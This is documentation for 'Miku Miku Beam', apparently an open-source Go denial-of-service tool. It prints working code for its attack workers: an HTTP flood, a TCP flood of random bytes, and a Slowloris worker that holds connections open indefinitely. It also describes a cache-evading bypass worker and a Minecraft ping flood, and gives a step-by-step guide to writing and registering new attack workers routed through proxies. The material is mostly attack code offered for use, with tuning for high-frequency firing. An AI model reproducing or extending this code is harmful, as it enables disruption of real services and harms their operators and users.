> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/sammwyy/mikuMikuBeam/llms.txt
> Use this file to discover all available pages before exploring further.

# AttackWorker Interface

> Contract for implementing attack methods in Miku Miku Beam

The `AttackWorker` interface defines the contract for implementing attack methods. Each attack type (HTTP flood, TCP flood, Slowloris, etc.) implements this interface to integrate with the engine.

## Interface Definition

```go theme={null}
type AttackWorker interface {
    // Fire sends a single payload for the given params using the provided proxy and user agent.
    // It should return quickly and not block the caller; engine will dispatch concurrently.
    // The log channel can be used to send individual attack logs.
    Fire(ctx context.Context, params AttackParams, proxy Proxy, userAgent string, logCh chan<- AttackStats) error
}
```

## Fire Method

```go theme={null}
Fire(
    ctx context.Context,
    params AttackParams,
    proxy Proxy,
    userAgent string,
    logCh chan<- AttackStats,
) error
```

Sends a single attack payload. Called concurrently by the engine for each packet.

### Parameters

<ParamField name="ctx" type="context.Context">
  Context for cancellation. Worker should respect `ctx.Done()` and abort quickly.
</ParamField>

<ParamField name="params" type="AttackParams">
  Attack configuration including:

  * `Target`: Raw target string
  * `TargetNode`: Parsed target with host, port, scheme
  * `PacketSize`: Payload size in bytes
  * `Verbose`: Whether to send detailed logs
</ParamField>

<ParamField name="proxy" type="Proxy">
  Proxy to route traffic through. May have empty `Host` if no proxy should be used.
</ParamField>

<ParamField name="userAgent" type="string">
  User-Agent string for HTTP-based attacks. May be empty.
</ParamField>

<ParamField name="logCh" type="chan<- AttackStats">
  Channel for sending individual attack logs. Use `SendAttackLogIfVerbose()` helper.
</ParamField>

### Return Value

<ResponseField name="error" type="error">
  Error if the attack failed. Current implementations return `nil` even on failure to avoid disrupting the attack flow.
</ResponseField>

### Implementation Requirements

<Warning>
  **Performance Critical**: `Fire()` is called at high frequency (potentially thousands of times per second). It must:

  * Return quickly (typically \< 10ms)
  * Not block on I/O - use short timeouts
  * Handle errors gracefully without panicking
</Warning>

<Note>
  The engine dispatches `Fire()` calls in goroutines, so blocking briefly is acceptable. However, long-running operations should spawn their own goroutines (see Slowloris example).
</Note>

## Built-in Implementations

### HTTP Flood Worker

**Location**: `internal/attacks/http/flood.go`

```go theme={null}
type floodWorker struct{}

func NewFloodWorker() *floodWorker { return &floodWorker{} }
```

**Strategy**:

* Sends GET or POST requests with random payloads
* Prefers POST for larger packet sizes (> 512 bytes)
* Uses `DialedHTTPClient()` with proxy support
* Discards response body to avoid blocking

**Code Example**:

```go theme={null}
func (w *floodWorker) Fire(ctx context.Context, params core.AttackParams, p core.Proxy, ua string, logCh chan<- core.AttackStats) error {
    u := params.TargetNode.ToURL()
    target := u.String()
    client := netutil.DialedHTTPClient(p, 5*time.Second, 3)
    
    isGet := params.PacketSize <= 512 && rand.Intn(2) == 0
    payload := randomString(params.PacketSize)
    
    var req *http.Request
    var err error
    if isGet {
        req, err = http.NewRequestWithContext(ctx, http.MethodGet, target+"/"+payload, nil)
    } else {
        req, err = http.NewRequestWithContext(ctx, http.MethodPost, target, io.NopCloser(bytes.NewBufferString(payload)))
    }
    if err != nil {
        return err
    }
    if ua != "" {
        req.Header.Set("User-Agent", ua)
    }
    
    resp, err := client.Do(req)
    if err == nil && resp != nil {
        io.Copy(io.Discard, resp.Body)
        resp.Body.Close()
        core.SendAttackLogIfVerbose(logCh, p, params.Target, params.Verbose)
    }
    return nil
}
```

### HTTP Bypass Worker

**Location**: `internal/attacks/http/bypass.go`

```go theme={null}
type bypassWorker struct{}

func NewBypassWorker() *bypassWorker { return &bypassWorker{} }
```

**Strategy**:

* Randomizes request paths and query parameters to evade caching
* Sets realistic browser headers (Referer, Cookie, etc.)
* Mimics resource requests (.js, .css, images)
* Uses `DialedMimicHTTPClient()` with browser-like behavior

**Key Features**:

* 80% GET, 20% POST distribution
* Random paths like `abc123/xyz.js` or `random.css`
* Cache-busting query parameters
* Realistic referers (same origin or popular sites)

### HTTP Slowloris Worker

**Location**: `internal/attacks/http/slowloris.go`

```go theme={null}
type slowlorisWorker struct{}

func NewSlowlorisWorker() *slowlorisWorker { return &slowlorisWorker{} }
```

**Strategy**:

* Opens raw TCP/TLS connection via SOCKS proxy
* Sends HTTP headers slowly (one per `PacketDelay`)
* Never completes the request to keep connection open
* Periodically sends keep-alive headers

**Code Pattern**:

```go theme={null}
func (w *slowlorisWorker) Fire(ctx context.Context, params core.AttackParams, p core.Proxy, ua string, logCh chan<- core.AttackStats) error {
    // ... establish connection ...
    conn, err := netutil.DialedTCPClient(ctx, scheme, host, portNum, pptr)
    if err != nil {
        return err
    }
    
    core.SendAttackLogIfVerbose(logCh, p, params.Target, params.Verbose)
    
    // Spawn goroutine to dribble headers slowly
    go func(c net.Conn) {
        defer c.Close()
        bw := bufio.NewWriter(c)
        fmt.Fprintf(bw, "GET / HTTP/1.1\r\n")
        
        // Send headers with delay
        headers := []string{
            "Host: " + host,
            "User-Agent: " + pickUA(ua),
            "Accept: */*",
            "Connection: keep-alive",
        }
        for _, h := range headers {
            bw.WriteString(h + "\r\n")
            bw.Flush()
            select {
            case <-ctx.Done():
                return
            case <-time.After(params.PacketDelay):
            }
        }
        
        // Keep connection alive indefinitely
        ticker := time.NewTicker(params.PacketDelay)
        defer ticker.Stop()
        for {
            select {
            case <-ctx.Done():
                return
            case <-ticker.C:
                bw.WriteString("X-a: b\r\n")
                bw.Flush()
            }
        }
    }(conn)
    
    return nil
}
```

<Note>
  Slowloris returns immediately after spawning the goroutine. The connection lifecycle is managed by the spawned goroutine, which respects `ctx.Done()`.
</Note>

### TCP Flood Worker

**Location**: `internal/attacks/tcp/flood.go`

```go theme={null}
type floodWorker struct{}

func NewFloodWorker() *floodWorker { return &floodWorker{} }
```

**Strategy**:

* Opens raw TCP connection (via SOCKS proxy if available)
* Sends random bytes (crypto/rand)
* Sends multiple bursts (1-3) per fire
* Uses 2-second write deadline

**Code Example**:

```go theme={null}
func (w *floodWorker) Fire(ctx context.Context, params core.AttackParams, p core.Proxy, ua string, logCh chan<- core.AttackStats) error {
    tn := params.TargetNode
    host := tn.Hostname()
    port := tn.PortNum()
    
    var pptr *core.Proxy
    if p.Host != "" {
        pptr = &p
    }
    conn, err := netutil.DialedTCPClient(ctx, "tcp", host, port, pptr)
    if err != nil {
        return nil
    }
    defer conn.Close()
    
    core.SendAttackLogIfVerbose(logCh, p, params.Target, params.Verbose)
    
    size := params.PacketSize
    if size <= 0 {
        size = 512
    }
    buf := make([]byte, size)
    rand.Read(buf)
    
    conn.SetWriteDeadline(time.Now().Add(2 * time.Second))
    conn.Write(buf)
    
    // Send multiple bursts
    bursts := minInt(3, 1+randIntn(3))
    for i := 0; i < bursts; i++ {
        rand.Read(buf)
        conn.Write(buf)
    }
    return nil
}
```

### Minecraft Ping Worker

**Location**: `internal/attacks/game/minecraft_ping.go`

```go theme={null}
type mcPingWorker struct{}

func NewPingWorker() *mcPingWorker { return &mcPingWorker{} }
```

**Strategy**:

* Sends Minecraft protocol handshake packet
* Follows with status request (packet ID 0x00)
* Reads partial response to prevent buffer buildup
* Defaults to port 25565 if no port specified

**Protocol Details**:

```go theme={null}
// Handshake packet structure
Packet ID: 0x00
Protocol Version: VarInt (754 for 1.16+)
Server Address: String (host)
Server Port: Unsigned Short (big-endian)
Next State: VarInt (1 = status)

// Status request
Packet ID: 0x00
Length: 1
```

## Implementing a Custom Worker

### Step 1: Define the Worker Type

```go theme={null}
package myattack

import (
    "context"
    core "github.com/sammwyy/mikumikubeam/internal/engine"
)

type customWorker struct {
    // Optional: store configuration
}

func NewCustomWorker() *customWorker {
    return &customWorker{}
}
```

### Step 2: Implement the Fire Method

```go theme={null}
func (w *customWorker) Fire(
    ctx context.Context,
    params core.AttackParams,
    proxy core.Proxy,
    userAgent string,
    logCh chan<- core.AttackStats,
) error {
    // 1. Extract target info
    target := params.TargetNode
    host := target.Hostname()
    port := target.PortNum()
    
    // 2. Establish connection (with proxy if available)
    var pptr *core.Proxy
    if proxy.Host != "" {
        pptr = &proxy
    }
    conn, err := netutil.DialedTCPClient(ctx, "tcp", host, port, pptr)
    if err != nil {
        return nil // Don't disrupt attack flow
    }
    defer conn.Close()
    
    // 3. Send log if verbose
    core.SendAttackLogIfVerbose(logCh, proxy, params.Target, params.Verbose)
    
    // 4. Send payload
    payload := buildPayload(params.PacketSize)
    conn.SetWriteDeadline(time.Now().Add(3 * time.Second))
    conn.Write(payload)
    
    // 5. Optionally read response
    buf := make([]byte, 256)
    conn.Read(buf)
    
    return nil
}
```

### Step 3: Register with Engine

```go theme={null}
const AttackCustom AttackKind = "custom_attack"

registry := engine.NewRegistry()
registry.Register(AttackCustom, myattack.NewCustomWorker())

eng := engine.NewEngine(*registry)
```

## Best Practices

<AccordionGroup>
  <Accordion title="Error Handling">
    * Return `nil` on most errors to avoid disrupting the attack flow
    * Only return errors for critical issues (e.g., invalid parameters)
    * Log errors to `logCh` if verbose mode is enabled
  </Accordion>

  <Accordion title="Context Cancellation">
    * Always respect `ctx.Done()` in long-running operations
    * Pass `ctx` to all network calls (`http.NewRequestWithContext`, `netutil.DialedTCPClient`)
    * Use select statements when spawning goroutines:

    ```go theme={null}
    select {
    case <-ctx.Done():
        return
    case <-time.After(delay):
        // Continue
    }
    ```
  </Accordion>

  <Accordion title="Proxy Handling">
    * Check if `proxy.Host` is empty before using
    * Pass `nil` to netutil functions if no proxy:

    ```go theme={null}
    var pptr *core.Proxy
    if proxy.Host != "" {
        pptr = &proxy
    }
    conn, err := netutil.DialedTCPClient(ctx, "tcp", host, port, pptr)
    ```
  </Accordion>

  <Accordion title="Timeouts">
    * Always set reasonable timeouts on network operations
    * Typical values: 3-6 seconds for HTTP, 2-3 seconds for TCP
    * Use `SetDeadline`, `SetReadDeadline`, `SetWriteDeadline` for raw connections
  </Accordion>

  <Accordion title="Resource Cleanup">
    * Always defer `Close()` on connections
    * Discard HTTP response bodies to avoid memory leaks:

    ```go theme={null}
    resp, err := client.Do(req)
    if err == nil && resp != nil {
        io.Copy(io.Discard, resp.Body)
        resp.Body.Close()
    }
    ```
  </Accordion>

  <Accordion title="Logging">
    * Use `SendAttackLogIfVerbose()` helper to respect verbose flag
    * Only send logs after successful operations
    * Use non-blocking sends (helper handles this automatically)
  </Accordion>
</AccordionGroup>

## Testing Your Worker

```go theme={null}
func TestCustomWorker(t *testing.T) {
    worker := NewCustomWorker()
    ctx := context.Background()
    
    params := core.AttackParams{
        Target:      "localhost:8080",
        TargetNode:  parseTarget("localhost:8080"),
        PacketSize:  1024,
        Verbose:     true,
    }
    
    logCh := make(chan core.AttackStats, 10)
    proxy := core.Proxy{} // No proxy
    
    err := worker.Fire(ctx, params, proxy, "Test-Agent", logCh)
    assert.NoError(t, err)
    
    // Check log was sent
    select {
    case stat := <-logCh:
        assert.Contains(t, stat.Log, "Miku miku beam")
    case <-time.After(1 * time.Second):
        t.Fatal("No log received")
    }
}
```

## See Also

* [Engine Package](/api/engine) - Attack orchestration system
* [Proxy Package](/api/proxy) - Loading and filtering proxies
